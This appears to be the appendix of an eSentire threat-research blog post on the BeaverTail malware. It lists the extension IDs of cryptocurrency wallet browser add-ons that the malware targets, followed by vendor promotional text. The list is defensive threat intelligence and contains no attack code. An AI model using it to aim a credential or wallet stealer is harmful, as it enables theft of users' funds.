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Appendix — Crypto Wallet Extensions Targeted by BeaverTail

Browser Extension ID Browser Extesion Name Target Browser
nkbihfbeogaeaoehlefnkodbefgpgknn MetaMask Chrome
ejbalbakoplchlghecdalmeeeajnimhm MetaMask Edge
fhbohimaelbohpjbbldcngcnapndodijp BNB Chain Walle Chrome
ibnejdfjmmkpcnlpebklmnkoeoihofec TronLink Chrome
bfnaelmomeimhlpmgjnjophhpkkoljpa Phantom Chrome
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aeachknmefphepccionboohckonoeemg Coin98 Wallet Chrome
hifafgmccdpekplomjjkcfgodnhcellj Crypto[.]Jcom Chrome
jblndlipeogpafnldhgmapagcccfchpi Kaia Wallet Chrome
acmacodkjbdgmoleebolmdjonilkdbch Rabby Wallet Chrome
dlcobpjiigpikoobohmabehhmhfoodbb Argent X Chrome
mcohilncbfahbmgdjkbpemcciiolgcge OKX Wallet Chrome
agoakfejjabomempkjlepdflaleeobhb Core Chrome
omaabbefbmiijedngplfjmnooppbclkk Tonkeeper Chrome
aholpfdialjgjfhomihkjbmgjidlcdno Exodus Web3 Wallet Chrome
nphplpgoakhhjchkkhmiggakijnkhfnd TON Wallet Chrome
penjlddjkjgpnkllboccdgccekpkebin OpenMask Chrome
lgmpcpglpngdoalbgeoldeajfclnhafa SafePal Chrome
fldfpgipfncgndfolcbkdeeknbbbnhcc MyTonWallet Chrome
bhhhlbepdkbapadjdnnojkbgioiodbic Solflare Wallet Chrome
gjnckgkfmgmibbkoficdidcljeaaaheg Atomic Wallet Chrome
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afbcbjpbpfadlkmhmclhkeeodmamcflc Math Wallet Chrome

To learn how your organization can build cyber resilience and prevent business disruption with eSentire’s Next

Level MDR, connect with an eSentire Security Specialist now.

GET STARTED

ABOUT ESENTIRE’S THREAT RESPONSE UNIT (TRU)

The eSentire Threat Response Unit (TRU) is an industry-leading threat research team committed to helping your

organization become more resilient. TRU is an elite team of threat hunters and researchers that supports our 24/7
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Security Operations Centers (SOCs), builds threat detection models across the eSentire XDR Cloud Platform, and
works as an extension of your security team to continuously improve our Managed Detection and Response
service. By providing complete visibility across your attack surface and performing global threat sweeps and

proactive hypothesis-driven threat hunts augmented by original threat research, we are laser-focused on defending

your organization against known and unknown threats.

Source: https://www.esentire.com/blog/bored-beavertail-invisibleferret-yacht-club-a-lazarus-lure-pt-2
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